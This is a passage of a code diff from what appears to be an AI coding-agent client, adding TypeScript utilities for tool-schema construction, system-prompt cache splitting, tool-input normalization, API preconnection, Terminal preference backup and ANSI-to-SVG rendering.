{ r: 0, g: 0, b: 255 }, // 12 bright blue
{ r: 255, g: 0, b: 255 }, // 13 bright magenta
{ r: 0, g: 255, b: 255 }, // 14 bright cyan
{ r: 255, g: 255, b: 255 }, // 15 bright white
]
return standardColors[index] || DEFAULT_FG
}
// 216 color cube (16-231)
if (index < 232) {
const i = index - 16
const r = Math.floor(i / 36)
const g = Math.floor((i % 36) / 6)
const b = i % 6
return {
r: r === 0 ? 0 : 55 + r * 40,
g: g === 0 ? 0 : 55 + g * 40,
b: b === 0 ? 0 : 55 + b * 40,
}
}
// Grayscale (232-255)
const gray = (index - 232) * 10 + 8
return { r: gray, g: gray, b: gray }
}
export type AnsiToSvgOptions = {
fontFamily?: string
fontSize?: number
lineHeight?: number
paddingX?: number
paddingY?: number
backgroundColor?: string
borderRadius?: number
}
/**
* Convert ANSI text to SVG
* Uses <tspan> elements within a single <text> per line so the renderer
* handles character spacing natively (no manual charWidth calculation)
*/
export function ansiToSvg(
ansiText: string,
options: AnsiToSvgOptions = {},
): string {
const {
fontFamily = 'Menlo, Monaco, monospace',
fontSize = 14,
lineHeight = 22,
paddingX = 24,
paddingY = 24,
backgroundColor = `rgb(${DEFAULT_BG.r}, ${DEFAULT_BG.g}, ${DEFAULT_BG.b})`,
borderRadius = 8,
} = options
const lines = parseAnsi(ansiText)
// Trim trailing empty lines
while (
lines.length > 0 &&
lines[lines.length - 1]!.every(span => span.text.trim() === '')
) {
lines.pop()
}
// Estimate width based on max line length (for SVG dimensions only)
// For monospace fonts, character width is roughly 0.6 * fontSize
const charWidthEstimate = fontSize * 0.6
const maxLineLength = Math.max(
...lines.map(spans => spans.reduce((acc, s) => acc + s.text.length, 0)),
)
const width = Math.ceil(maxLineLength * charWidthEstimate + paddingX * 2)
const height = lines.length * lineHeight + paddingY * 2
// Build SVG - use tspan elements so renderer handles character positioning
let svg = `<svg xmlns="http://www.w3.org/2000/svg" width="${width}" height="${height}" viewBox="0 0 ${width} ${height}">\n`
svg += ` <rect width="100%" height="100%" fill="${backgroundColor}" rx="${borderRadius}" ry="${borderRadius}"/>\n`
svg += ` <style>\n`
svg += ` text { font-family: ${fontFamily}; font-size: ${fontSize}px; white-space: pre; }\n`
svg += ` .b { font-weight: bold; }\n`
svg += ` </style>\n`
for (let lineIndex = 0; lineIndex < lines.length; lineIndex++) {
const spans = lines[lineIndex]!
const y =
paddingY + (lineIndex + 1) * lineHeight - (lineHeight - fontSize) / 2
// Build a single <text> element with <tspan> children for each colored segment
// xml:space="preserve" prevents SVG from collapsing whitespace
svg += ` <text x="${paddingX}" y="${y}" xml:space="preserve">`
for (const span of spans) {
if (!span.text) continue
const colorStr = `rgb(${span.color.r}, ${span.color.g}, ${span.color.b})`
const boldClass = span.bold ? ' class="b"' : ''
svg += `<tspan fill="${colorStr}"${boldClass}>${escapeXml(span.text)}</tspan>`
}
svg += `</text>\n`
}
svg += `</svg>`
return svg
}

718
src/utils/api.ts Normal file
View File

@@ -0,0 +1,718 @@
import type Anthropic from '@anthropic-ai/sdk'
import type {
BetaTool,
BetaToolUnion,
} from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
import { createHash } from 'crypto'
import { SYSTEM_PROMPT_DYNAMIC_BOUNDARY } from 'src/constants/prompts.js'
import { getSystemContext, getUserContext } from 'src/context.js'
import { isAnalyticsDisabled } from 'src/services/analytics/config.js'
import {
checkStatsigFeatureGate_CACHED_MAY_BE_STALE,
getFeatureValue_CACHED_MAY_BE_STALE,
} from 'src/services/analytics/growthbook.js'
import {
type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
logEvent,
} from 'src/services/analytics/index.js'
import { prefetchAllMcpResources } from 'src/services/mcp/client.js'
import type { ScopedMcpServerConfig } from 'src/services/mcp/types.js'
import { BashTool } from 'src/tools/BashTool/BashTool.js'
import { FileEditTool } from 'src/tools/FileEditTool/FileEditTool.js'
import {
normalizeFileEditInput,
stripTrailingWhitespace,
} from 'src/tools/FileEditTool/utils.js'
import { FileWriteTool } from 'src/tools/FileWriteTool/FileWriteTool.js'
import { getTools } from 'src/tools.js'
import type { AgentId } from 'src/types/ids.js'
import type { z } from 'zod/v4'
import { CLI_SYSPROMPT_PREFIXES } from '../constants/system.js'
import { roughTokenCountEstimation } from '../services/tokenEstimation.js'
import type { Tool, ToolPermissionContext, Tools } from '../Tool.js'
import { AGENT_TOOL_NAME } from '../tools/AgentTool/constants.js'
import type { AgentDefinition } from '../tools/AgentTool/loadAgentsDir.js'
import { EXIT_PLAN_MODE_V2_TOOL_NAME } from '../tools/ExitPlanModeTool/constants.js'
import { TASK_OUTPUT_TOOL_NAME } from '../tools/TaskOutputTool/constants.js'
import type { Message } from '../types/message.js'
import { isAgentSwarmsEnabled } from './agentSwarmsEnabled.js'
import {
modelSupportsStructuredOutputs,
shouldUseGlobalCacheScope,
} from './betas.js'
import { getCwd } from './cwd.js'
import { logForDebugging } from './debug.js'
import { isEnvTruthy } from './envUtils.js'
import { createUserMessage } from './messages.js'
import {
getAPIProvider,
isFirstPartyAnthropicBaseUrl,
} from './model/providers.js'
import {
getFileReadIgnorePatterns,
normalizePatternsToPath,
} from './permissions/filesystem.js'
import {
getPlan,
getPlanFilePath,
persistFileSnapshotIfRemote,
} from './plans.js'
import { getPlatform } from './platform.js'
import { countFilesRoundedRg } from './ripgrep.js'
import { jsonStringify } from './slowOperations.js'
import type { SystemPrompt } from './systemPromptType.js'
import { getToolSchemaCache } from './toolSchemaCache.js'
import { windowsPathToPosixPath } from './windowsPaths.js'
import { zodToJsonSchema } from './zodToJsonSchema.js'
// Extended BetaTool type with strict mode and defer_loading support
type BetaToolWithExtras = BetaTool & {
strict?: boolean
defer_loading?: boolean
cache_control?: {
type: 'ephemeral'
scope?: 'global' | 'org'
ttl?: '5m' | '1h'
}
eager_input_streaming?: boolean
}
export type CacheScope = 'global' | 'org'
export type SystemPromptBlock = {
text: string
cacheScope: CacheScope | null
}
// Fields to filter from tool schemas when swarms are not enabled
const SWARM_FIELDS_BY_TOOL: Record<string, string[]> = {
[EXIT_PLAN_MODE_V2_TOOL_NAME]: ['launchSwarm', 'teammateCount'],
[AGENT_TOOL_NAME]: ['name', 'team_name', 'mode'],
}
/**
* Filter swarm-related fields from a tool's input schema.
* Called at runtime when isAgentSwarmsEnabled() returns false.
*/
function filterSwarmFieldsFromSchema(
toolName: string,
schema: Anthropic.Tool.InputSchema,
): Anthropic.Tool.InputSchema {
const fieldsToRemove = SWARM_FIELDS_BY_TOOL[toolName]
if (!fieldsToRemove || fieldsToRemove.length === 0) {
return schema
}
// Clone the schema to avoid mutating the original
const filtered = { ...schema }
const props = filtered.properties
if (props && typeof props === 'object') {
const filteredProps = { ...(props as Record<string, unknown>) }
for (const field of fieldsToRemove) {
delete filteredProps[field]
}
filtered.properties = filteredProps
}
return filtered
}
export async function toolToAPISchema(
tool: Tool,
options: {
getToolPermissionContext: () => Promise<ToolPermissionContext>
tools: Tools
agents: AgentDefinition[]
allowedAgentTypes?: string[]
model?: string
/** When true, mark this tool with defer_loading for tool search */
deferLoading?: boolean
cacheControl?: {
type: 'ephemeral'
scope?: 'global' | 'org'
ttl?: '5m' | '1h'
}
},
): Promise<BetaToolUnion> {
// Session-stable base schema: name, description, input_schema, strict,
// eager_input_streaming. These are computed once per session and cached to
// prevent mid-session GrowthBook flips (tengu_tool_pear, tengu_fgts) or
// tool.prompt() drift from churning the serialized tool array bytes.
// See toolSchemaCache.ts for rationale.
//
// Cache key includes inputJSONSchema when present. StructuredOutput instances
// share the name 'StructuredOutput' but carry different schemas per workflow
// call — name-only keying returned a stale schema (5.4% → 51% err rate, see
// PR#25424). MCP tools also set inputJSONSchema but each has a stable schema,
// so including it preserves their GB-flip cache stability.
const cacheKey =
'inputJSONSchema' in tool && tool.inputJSONSchema
? `${tool.name}:${jsonStringify(tool.inputJSONSchema)}`
: tool.name
const cache = getToolSchemaCache()
let base = cache.get(cacheKey)
if (!base) {
const strictToolsEnabled =
checkStatsigFeatureGate_CACHED_MAY_BE_STALE('tengu_tool_pear')
// Use tool's JSON schema directly if provided, otherwise convert Zod schema
let input_schema = (
'inputJSONSchema' in tool && tool.inputJSONSchema
? tool.inputJSONSchema
: zodToJsonSchema(tool.inputSchema)
) as Anthropic.Tool.InputSchema
// Filter out swarm-related fields when swarms are not enabled
// This ensures external non-EAP users don't see swarm features in the schema
if (!isAgentSwarmsEnabled()) {
input_schema = filterSwarmFieldsFromSchema(tool.name, input_schema)
}
base = {
name: tool.name,
description: await tool.prompt({
getToolPermissionContext: options.getToolPermissionContext,
tools: options.tools,
agents: options.agents,
allowedAgentTypes: options.allowedAgentTypes,
}),
input_schema,
}
// Only add strict if:
// 1. Feature flag is enabled
// 2. Tool has strict: true
// 3. Model is provided and supports it (not all models support it right now)
// (if model is not provided, assume we can't use strict tools)
if (
strictToolsEnabled &&
tool.strict === true &&
options.model &&
modelSupportsStructuredOutputs(options.model)
) {
base.strict = true
}
// Enable fine-grained tool streaming via per-tool API field.
// Without FGTS, the API buffers entire tool input parameters before sending
// input_json_delta events, causing multi-minute hangs on large tool inputs.
// Gated to direct api.anthropic.com: proxies (LiteLLM etc.) and Bedrock/Vertex
// with Claude 4.5 reject this field with 400. See GH#32742, PR #21729.
if (
getAPIProvider() === 'firstParty' &&
isFirstPartyAnthropicBaseUrl() &&
(getFeatureValue_CACHED_MAY_BE_STALE('tengu_fgts', false) ||
isEnvTruthy(process.env.CLAUDE_CODE_ENABLE_FINE_GRAINED_TOOL_STREAMING))
) {
base.eager_input_streaming = true
}
cache.set(cacheKey, base)
}
// Per-request overlay: defer_loading and cache_control vary by call
// (tool search defers different tools per turn; cache markers move).
// Explicit field copy avoids mutating the cached base and sidesteps
// BetaTool.cache_control's `| null` clashing with our narrower type.
const schema: BetaToolWithExtras = {
name: base.name,
description: base.description,
input_schema: base.input_schema,
...(base.strict && { strict: true }),
...(base.eager_input_streaming && { eager_input_streaming: true }),
}
// Add defer_loading if requested (for tool search feature)
if (options.deferLoading) {
schema.defer_loading = true
}
if (options.cacheControl) {
schema.cache_control = options.cacheControl
}
// CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS is the kill switch for beta API
// shapes. Proxy gateways (ANTHROPIC_BASE_URL → LiteLLM → Bedrock) reject
// fields like defer_loading with "Extra inputs are not permitted". The gates
// above each field are scattered and not all provider-aware, so this strips
// everything not in the base-tool allowlist at the one choke point all tool
// schemas pass through — including fields added in the future.
// cache_control is allowlisted: the base {type: 'ephemeral'} shape is
// standard prompt caching (Bedrock/Vertex supported); the beta sub-fields
// (scope, ttl) are already gated upstream by shouldIncludeFirstPartyOnlyBetas
// which independently respects this kill switch.
// github.com/anthropics/claude-code/issues/20031
if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS)) {
const allowed = new Set([
'name',
'description',
'input_schema',
'cache_control',
])
const stripped = Object.keys(schema).filter(k => !allowed.has(k))
if (stripped.length > 0) {
logStripOnce(stripped)
return {
name: schema.name,
description: schema.description,
input_schema: schema.input_schema,
...(schema.cache_control && { cache_control: schema.cache_control }),
}
}
}
// Note: We cast to BetaTool but the extra fields are still present at runtime
// and will be serialized in the API request, even though they're not in the SDK's
// BetaTool type definition. This is intentional for beta features.
return schema as BetaTool
}
let loggedStrip = false
function logStripOnce(stripped: string[]): void {
if (loggedStrip) return
loggedStrip = true
logForDebugging(
`[betas] Stripped from tool schemas: [${stripped.join(', ')}] (CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS=1)`,
)
}
/**
* Log stats about first block for analyzing prefix matching config
* (see https://console.statsig.com/4aF3Ewatb6xPVpCwxb5nA3/dynamic_configs/claude_cli_system_prompt_prefixes)
*/
export function logAPIPrefix(systemPrompt: SystemPrompt): void {
const [firstSyspromptBlock] = splitSysPromptPrefix(systemPrompt)
const firstSystemPrompt = firstSyspromptBlock?.text
logEvent('tengu_sysprompt_block', {
snippet: firstSystemPrompt?.slice(
0,
20,
) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
length: firstSystemPrompt?.length ?? 0,
hash: (firstSystemPrompt
? createHash('sha256').update(firstSystemPrompt).digest('hex')
: '') as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
})
}
/**
* Split system prompt blocks by content type for API matching and cache control.
* See https://console.statsig.com/4aF3Ewatb6xPVpCwxb5nA3/dynamic_configs/claude_cli_system_prompt_prefixes
*
* Behavior depends on feature flags and options:
*
* 1. MCP tools present (skipGlobalCacheForSystemPrompt=true):
* Returns up to 3 blocks with org-level caching (no global cache on system prompt):
* - Attribution header (cacheScope=null)
* - System prompt prefix (cacheScope='org')
* - Everything else concatenated (cacheScope='org')
*
* 2. Global cache mode with boundary marker (1P only, boundary found):
* Returns up to 4 blocks:
* - Attribution header (cacheScope=null)
* - System prompt prefix (cacheScope=null)
* - Static content before boundary (cacheScope='global')
* - Dynamic content after boundary (cacheScope=null)
*
* 3. Default mode (3P providers, or boundary missing):
* Returns up to 3 blocks with org-level caching:
* - Attribution header (cacheScope=null)
* - System prompt prefix (cacheScope='org')
* - Everything else concatenated (cacheScope='org')
*/
export function splitSysPromptPrefix(
systemPrompt: SystemPrompt,
options?: { skipGlobalCacheForSystemPrompt?: boolean },
): SystemPromptBlock[] {
const useGlobalCacheFeature = shouldUseGlobalCacheScope()
if (useGlobalCacheFeature && options?.skipGlobalCacheForSystemPrompt) {
logEvent('tengu_sysprompt_using_tool_based_cache', {
promptBlockCount: systemPrompt.length,
})
// Filter out boundary marker, return blocks without global scope
let attributionHeader: string | undefined
let systemPromptPrefix: string | undefined
const rest: string[] = []
for (const prompt of systemPrompt) {
if (!prompt) continue
if (prompt === SYSTEM_PROMPT_DYNAMIC_BOUNDARY) continue // Skip boundary
if (prompt.startsWith('x-anthropic-billing-header')) {
attributionHeader = prompt
} else if (CLI_SYSPROMPT_PREFIXES.has(prompt)) {
systemPromptPrefix = prompt
} else {
rest.push(prompt)
}
}
const result: SystemPromptBlock[] = []
if (attributionHeader) {
result.push({ text: attributionHeader, cacheScope: null })
}
if (systemPromptPrefix) {
result.push({ text: systemPromptPrefix, cacheScope: 'org' })
}
const restJoined = rest.join('\n\n')
if (restJoined) {
result.push({ text: restJoined, cacheScope: 'org' })
}
return result
}
if (useGlobalCacheFeature) {
const boundaryIndex = systemPrompt.findIndex(
s => s === SYSTEM_PROMPT_DYNAMIC_BOUNDARY,
)
if (boundaryIndex !== -1) {
let attributionHeader: string | undefined
let systemPromptPrefix: string | undefined
const staticBlocks: string[] = []
const dynamicBlocks: string[] = []
for (let i = 0; i < systemPrompt.length; i++) {
const block = systemPrompt[i]
if (!block || block === SYSTEM_PROMPT_DYNAMIC_BOUNDARY) continue
if (block.startsWith('x-anthropic-billing-header')) {
attributionHeader = block
} else if (CLI_SYSPROMPT_PREFIXES.has(block)) {
systemPromptPrefix = block
} else if (i < boundaryIndex) {
staticBlocks.push(block)
} else {
dynamicBlocks.push(block)
}
}
const result: SystemPromptBlock[] = []
if (attributionHeader)
result.push({ text: attributionHeader, cacheScope: null })
if (systemPromptPrefix)
result.push({ text: systemPromptPrefix, cacheScope: null })
const staticJoined = staticBlocks.join('\n\n')
if (staticJoined)
result.push({ text: staticJoined, cacheScope: 'global' })
const dynamicJoined = dynamicBlocks.join('\n\n')
if (dynamicJoined) result.push({ text: dynamicJoined, cacheScope: null })
logEvent('tengu_sysprompt_boundary_found', {
blockCount: result.length,
staticBlockLength: staticJoined.length,
dynamicBlockLength: dynamicJoined.length,
})
return result
} else {
logEvent('tengu_sysprompt_missing_boundary_marker', {
promptBlockCount: systemPrompt.length,
})
}
}
let attributionHeader: string | undefined
let systemPromptPrefix: string | undefined
const rest: string[] = []
for (const block of systemPrompt) {
if (!block) continue
if (block.startsWith('x-anthropic-billing-header')) {
attributionHeader = block
} else if (CLI_SYSPROMPT_PREFIXES.has(block)) {
systemPromptPrefix = block
} else {
rest.push(block)
}
}
const result: SystemPromptBlock[] = []
if (attributionHeader)
result.push({ text: attributionHeader, cacheScope: null })
if (systemPromptPrefix)
result.push({ text: systemPromptPrefix, cacheScope: 'org' })
const restJoined = rest.join('\n\n')
if (restJoined) result.push({ text: restJoined, cacheScope: 'org' })
return result
}
export function appendSystemContext(
systemPrompt: SystemPrompt,
context: { [k: string]: string },
): string[] {
return [
...systemPrompt,
Object.entries(context)
.map(([key, value]) => `${key}: ${value}`)
.join('\n'),
].filter(Boolean)
}
export function prependUserContext(
messages: Message[],
context: { [k: string]: string },
): Message[] {
if (process.env.NODE_ENV === 'test') {
return messages
}
if (Object.entries(context).length === 0) {
return messages
}
return [
createUserMessage({
content: `<system-reminder>\nAs you answer the user's questions, you can use the following context:\n${Object.entries(
context,
)
.map(([key, value]) => `# ${key}\n${value}`)
.join('\n')}
IMPORTANT: this context may or may not be relevant to your tasks. You should not respond to this context unless it is highly relevant to your task.\n</system-reminder>\n`,
isMeta: true,
}),
...messages,
]
}
/**
* Log metrics about context and system prompt size
*/
export async function logContextMetrics(
mcpConfigs: Record<string, ScopedMcpServerConfig>,
toolPermissionContext: ToolPermissionContext,
): Promise<void> {
// Early return if logging is disabled
if (isAnalyticsDisabled()) {
return
}
const [{ tools: mcpTools }, tools, userContext, systemContext] =
await Promise.all([
prefetchAllMcpResources(mcpConfigs),
getTools(toolPermissionContext),
getUserContext(),
getSystemContext(),
])
// Extract individual context sizes and calculate total
const gitStatusSize = systemContext.gitStatus?.length ?? 0
const claudeMdSize = userContext.claudeMd?.length ?? 0
// Calculate total context size
const totalContextSize = gitStatusSize + claudeMdSize
// Get file count using ripgrep (rounded to nearest power of 10 for privacy)
const currentDir = getCwd()
const ignorePatternsByRoot = getFileReadIgnorePatterns(toolPermissionContext)
const normalizedIgnorePatterns = normalizePatternsToPath(
ignorePatternsByRoot,
currentDir,
)
const fileCount = await countFilesRoundedRg(
currentDir,
AbortSignal.timeout(1000),
normalizedIgnorePatterns,
)
// Calculate tool metrics
let mcpToolsCount = 0
let mcpServersCount = 0
let mcpToolsTokens = 0
let nonMcpToolsCount = 0
let nonMcpToolsTokens = 0
const nonMcpTools = tools.filter(tool => !tool.isMcp)
mcpToolsCount = mcpTools.length
nonMcpToolsCount = nonMcpTools.length
// Extract unique server names from MCP tool names (format: mcp__servername__toolname)
const serverNames = new Set<string>()
for (const tool of mcpTools) {
const parts = tool.name.split('__')
if (parts.length >= 3 && parts[1]) {
serverNames.add(parts[1])
}
}
mcpServersCount = serverNames.size
// Estimate tool tokens locally for analytics (avoids N API calls per session)
// Use inputJSONSchema (plain JSON Schema) when available, otherwise convert Zod schema
for (const tool of mcpTools) {
const schema =
'inputJSONSchema' in tool && tool.inputJSONSchema
? tool.inputJSONSchema
: zodToJsonSchema(tool.inputSchema)
mcpToolsTokens += roughTokenCountEstimation(jsonStringify(schema))
}
for (const tool of nonMcpTools) {
const schema =
'inputJSONSchema' in tool && tool.inputJSONSchema
? tool.inputJSONSchema
: zodToJsonSchema(tool.inputSchema)
nonMcpToolsTokens += roughTokenCountEstimation(jsonStringify(schema))
}
logEvent('tengu_context_size', {
git_status_size: gitStatusSize,
claude_md_size: claudeMdSize,
total_context_size: totalContextSize,
project_file_count_rounded: fileCount,
mcp_tools_count: mcpToolsCount,
mcp_servers_count: mcpServersCount,
mcp_tools_tokens: mcpToolsTokens,
non_mcp_tools_count: nonMcpToolsCount,
non_mcp_tools_tokens: nonMcpToolsTokens,
})
}
// TODO: Generalize this to all tools
export function normalizeToolInput<T extends Tool>(
tool: T,
input: z.infer<T['inputSchema']>,
agentId?: AgentId,
): z.infer<T['inputSchema']> {
switch (tool.name) {
case EXIT_PLAN_MODE_V2_TOOL_NAME: {
// Always inject plan content and file path for ExitPlanModeV2 so hooks/SDK get the plan.
// The V2 tool reads plan from file instead of input, but hooks/SDK
const plan = getPlan(agentId)
const planFilePath = getPlanFilePath(agentId)
// Persist file snapshot for CCR sessions so the plan survives pod recycling
void persistFileSnapshotIfRemote()
return plan !== null ? { ...input, plan, planFilePath } : input
}
case BashTool.name: {
// Validated upstream, won't throw
const parsed = BashTool.inputSchema.parse(input)
const { command, timeout, description } = parsed
const cwd = getCwd()
let normalizedCommand = command.replace(`cd ${cwd} && `, '')
if (getPlatform() === 'windows') {
normalizedCommand = normalizedCommand.replace(
`cd ${windowsPathToPosixPath(cwd)} && `,
'',
)
}
// Replace \\; with \; (commonly needed for find -exec commands)
normalizedCommand = normalizedCommand.replace(/\\\\;/g, '\\;')
// Logging for commands that are only echoing a string. This is to help us understand how often Claude talks via bash
if (/^echo\s+["']?[^|&;><]*["']?$/i.test(normalizedCommand.trim())) {
logEvent('tengu_bash_tool_simple_echo', {})
}
// Check for run_in_background (may not exist in schema if CLAUDE_CODE_DISABLE_BACKGROUND_TASKS is set)
const run_in_background =
'run_in_background' in parsed ? parsed.run_in_background : undefined
// SAFETY: Cast is safe because input was validated by .parse() above.
// TypeScript can't narrow the generic T based on switch(tool.name), so it
// doesn't know the return type matches T['inputSchema']. This is a fundamental
// TS limitation with generics, not bypassable without major refactoring.
return {
command: normalizedCommand,
description,
...(timeout !== undefined && { timeout }),
...(description !== undefined && { description }),
...(run_in_background !== undefined && { run_in_background }),
...('dangerouslyDisableSandbox' in parsed &&
parsed.dangerouslyDisableSandbox !== undefined && {
dangerouslyDisableSandbox: parsed.dangerouslyDisableSandbox,
}),
} as z.infer<T['inputSchema']>
}
case FileEditTool.name: {
// Validated upstream, won't throw
const parsedInput = FileEditTool.inputSchema.parse(input)
// This is a workaround for tokens claude can't see
const { file_path, edits } = normalizeFileEditInput({
file_path: parsedInput.file_path,
edits: [
{
old_string: parsedInput.old_string,
new_string: parsedInput.new_string,
replace_all: parsedInput.replace_all,
},
],
})
// SAFETY: See comment in BashTool case above
return {
replace_all: edits[0]!.replace_all,
file_path,
old_string: edits[0]!.old_string,
new_string: edits[0]!.new_string,
} as z.infer<T['inputSchema']>
}
case FileWriteTool.name: {
// Validated upstream, won't throw
const parsedInput = FileWriteTool.inputSchema.parse(input)
// Markdown uses two trailing spaces as a hard line break — don't strip.
const isMarkdown = /\.(md|mdx)$/i.test(parsedInput.file_path)
// SAFETY: See comment in BashTool case above
return {
file_path: parsedInput.file_path,
content: isMarkdown
? parsedInput.content
: stripTrailingWhitespace(parsedInput.content),
} as z.infer<T['inputSchema']>
}
case TASK_OUTPUT_TOOL_NAME: {
// Normalize legacy parameter names from AgentOutputTool/BashOutputTool
const legacyInput = input as Record<string, unknown>
const taskId =
legacyInput.task_id ?? legacyInput.agentId ?? legacyInput.bash_id
const timeout =
legacyInput.timeout ??
(typeof legacyInput.wait_up_to === 'number'
? legacyInput.wait_up_to * 1000
: undefined)
// SAFETY: See comment in BashTool case above
return {
task_id: taskId ?? '',
block: legacyInput.block ?? true,
timeout: timeout ?? 30000,
} as z.infer<T['inputSchema']>
}
default:
return input
}
}
// Strips fields that were added by normalizeToolInput before sending to API
// (e.g., plan field from ExitPlanModeV2 which has an empty input schema)
export function normalizeToolInputForAPI<T extends Tool>(
tool: T,
input: z.infer<T['inputSchema']>,
): z.infer<T['inputSchema']> {
switch (tool.name) {
case EXIT_PLAN_MODE_V2_TOOL_NAME: {
// Strip injected fields before sending to API (schema expects empty object)
if (
input &&
typeof input === 'object' &&
('plan' in input || 'planFilePath' in input)
) {
const { plan, planFilePath, ...rest } = input as Record<string, unknown>
return rest as z.infer<T['inputSchema']>
}
return input
}
case FileEditTool.name: {
// Strip synthetic old_string/new_string/replace_all from OLD sessions
// that were resumed from transcripts written before PR #20357, where
// normalizeToolInput used to synthesize these. Needed so old --resume'd
// transcripts don't send whole-file copies to the API. New sessions
// don't need this (synthesis moved to emission time).
if (input && typeof input === 'object' && 'edits' in input) {
const { old_string, new_string, replace_all, ...rest } =
input as Record<string, unknown>
return rest as z.infer<T['inputSchema']>
}
return input
}
default:
return input
}
}

View File

@@ -0,0 +1,71 @@
/**
* Preconnect to the Anthropic API to overlap TCP+TLS handshake with startup.
*
* The TCP+TLS handshake is ~100-200ms that normally blocks inside the first
* API call. Kicking a fire-and-forget fetch during init lets the handshake
* happen in parallel with action-handler work (~100ms of setup/commands/mcp
* before the API request in -p mode; unbounded "user is typing" window in
* interactive mode).
*
* Bun's fetch shares a keep-alive connection pool globally, so the real API
* request reuses the warmed connection.
*
* Called from init.ts AFTER applyExtraCACertsFromConfig() + configureGlobalAgents()
* so settings.json env vars are applied and the TLS cert store is finalized.
* The early cli.tsx call site was removed — it ran before settings.json loaded,
* so ANTHROPIC_BASE_URL/proxy/mTLS in settings would be invisible and preconnect
* would warm the wrong pool (or worse, lock BoringSSL's cert store before
* NODE_EXTRA_CA_CERTS was applied).
*
* Skipped when:
* - proxy/mTLS/unix socket configured (preconnect would use wrong transport —
* the SDK passes a custom dispatcher/agent that doesn't share the global pool)
* - Bedrock/Vertex/Foundry (different endpoints, different auth)
*/
import { getOauthConfig } from '../constants/oauth.js'
import { isEnvTruthy } from './envUtils.js'
let fired = false
export function preconnectAnthropicApi(): void {
if (fired) return
fired = true
// Skip if using a cloud provider — different endpoint + auth
if (
isEnvTruthy(process.env.CLAUDE_CODE_USE_BEDROCK) ||
isEnvTruthy(process.env.CLAUDE_CODE_USE_VERTEX) ||
isEnvTruthy(process.env.CLAUDE_CODE_USE_FOUNDRY)
) {
return
}
// Skip if proxy/mTLS/unix — SDK's custom dispatcher won't reuse this pool
if (
process.env.HTTPS_PROXY ||
process.env.https_proxy ||
process.env.HTTP_PROXY ||
process.env.http_proxy ||
process.env.ANTHROPIC_UNIX_SOCKET ||
process.env.CLAUDE_CODE_CLIENT_CERT ||
process.env.CLAUDE_CODE_CLIENT_KEY
) {
return
}
// Use configured base URL (staging, local, or custom gateway). Covers
// ANTHROPIC_BASE_URL env + USE_STAGING_OAUTH + USE_LOCAL_OAUTH in one lookup.
// NODE_EXTRA_CA_CERTS no longer a skip — init.ts applied it before this fires.
const baseUrl =
process.env.ANTHROPIC_BASE_URL || getOauthConfig().BASE_API_URL
// Fire and forget. HEAD means no response body — the connection is eligible
// for keep-alive pool reuse immediately after headers arrive. 10s timeout
// so a slow network doesn't hang the process; abort is fine since the real
// request will handshake fresh if needed.
// eslint-disable-next-line eslint-plugin-n/no-unsupported-features/node-builtins
void fetch(baseUrl, {
method: 'HEAD',
signal: AbortSignal.timeout(10_000),
}).catch(() => {})
}

View File

@@ -0,0 +1,124 @@
import { stat } from 'fs/promises'
import { homedir } from 'os'
import { join } from 'path'
import { getGlobalConfig, saveGlobalConfig } from './config.js'
import { execFileNoThrow } from './execFileNoThrow.js'
import { logError } from './log.js'
export function markTerminalSetupInProgress(backupPath: string): void {
saveGlobalConfig(current => ({
...current,
appleTerminalSetupInProgress: true,
appleTerminalBackupPath: backupPath,
}))
}
export function markTerminalSetupComplete(): void {
saveGlobalConfig(current => ({
...current,
appleTerminalSetupInProgress: false,
}))
}
function getTerminalRecoveryInfo(): {
inProgress: boolean
backupPath: string | null
} {
const config = getGlobalConfig()
return {
inProgress: config.appleTerminalSetupInProgress ?? false,
backupPath: config.appleTerminalBackupPath || null,
}
}
export function getTerminalPlistPath(): string {
return join(homedir(), 'Library', 'Preferences', 'com.apple.Terminal.plist')
}
export async function backupTerminalPreferences(): Promise<string | null> {
const terminalPlistPath = getTerminalPlistPath()
const backupPath = `${terminalPlistPath}.bak`
try {
const { code } = await execFileNoThrow('defaults', [
'export',
'com.apple.Terminal',
terminalPlistPath,
])
if (code !== 0) {
return null
}
try {
await stat(terminalPlistPath)
} catch {
return null
}
await execFileNoThrow('defaults', [
'export',
'com.apple.Terminal',
backupPath,
])
markTerminalSetupInProgress(backupPath)
return backupPath
} catch (error) {
logError(error)
return null
}
}
type RestoreResult =
| {
status: 'restored' | 'no_backup'
}
| {
status: 'failed'
backupPath: string
}
export async function checkAndRestoreTerminalBackup(): Promise<RestoreResult> {
const { inProgress, backupPath } = getTerminalRecoveryInfo()
if (!inProgress) {
return { status: 'no_backup' }
}
if (!backupPath) {
markTerminalSetupComplete()
return { status: 'no_backup' }
}
try {
await stat(backupPath)
} catch {
markTerminalSetupComplete()
return { status: 'no_backup' }
}
try {
const { code } = await execFileNoThrow('defaults', [
'import',
'com.apple.Terminal',
backupPath,
])
if (code !== 0) {
return { status: 'failed', backupPath }
}
await execFileNoThrow('killall', ['cfprefsd'])
markTerminalSetupComplete()
return { status: 'restored' }
} catch (restoreError) {
logError(
new Error(
`Failed to restore Terminal.app settings with: ${restoreError}`,
),
)
markTerminalSetupComplete()
return { status: 'failed', backupPath }
}
}

View File

@@ -0,0 +1,145 @@
/**
* Utility for substituting $ARGUMENTS placeholders in skill/command prompts.
*
* Supports:
* - $ARGUMENTS - replaced with the full arguments string
* - $ARGUMENTS[0], $ARGUMENTS[1], etc. - replaced with individual indexed arguments
* - $0, $1, etc. - shorthand for $ARGUMENTS[0], $ARGUMENTS[1]
* - Named arguments (e.g., $foo, $bar) - when argument names are defined in frontmatter
*
* Arguments are parsed using shell-quote for proper shell argument handling.
*/
import { tryParseShellCommand } from './bash/shellQuote.js'
/**
* Parse an arguments string into an array of individual arguments.
* Uses shell-quote for proper shell argument parsing including quoted strings.
*
* Examples:
* - "foo bar baz" => ["foo", "bar", "baz"]
* - 'foo "hello world" baz' => ["foo", "hello world", "baz"]
* - "foo 'hello world' baz" => ["foo", "hello world", "baz"]
*/
export function parseArguments(args: string): string[] {
if (!args || !args.trim()) {
return []
}
// Return $KEY to preserve variable syntax literally (don't expand variables)
const result = tryParseShellCommand(args, key => `$${key}`)
if (!result.success) {
// Fall back to simple whitespace split if parsing fails
return args.split(/\s+/).filter(Boolean)
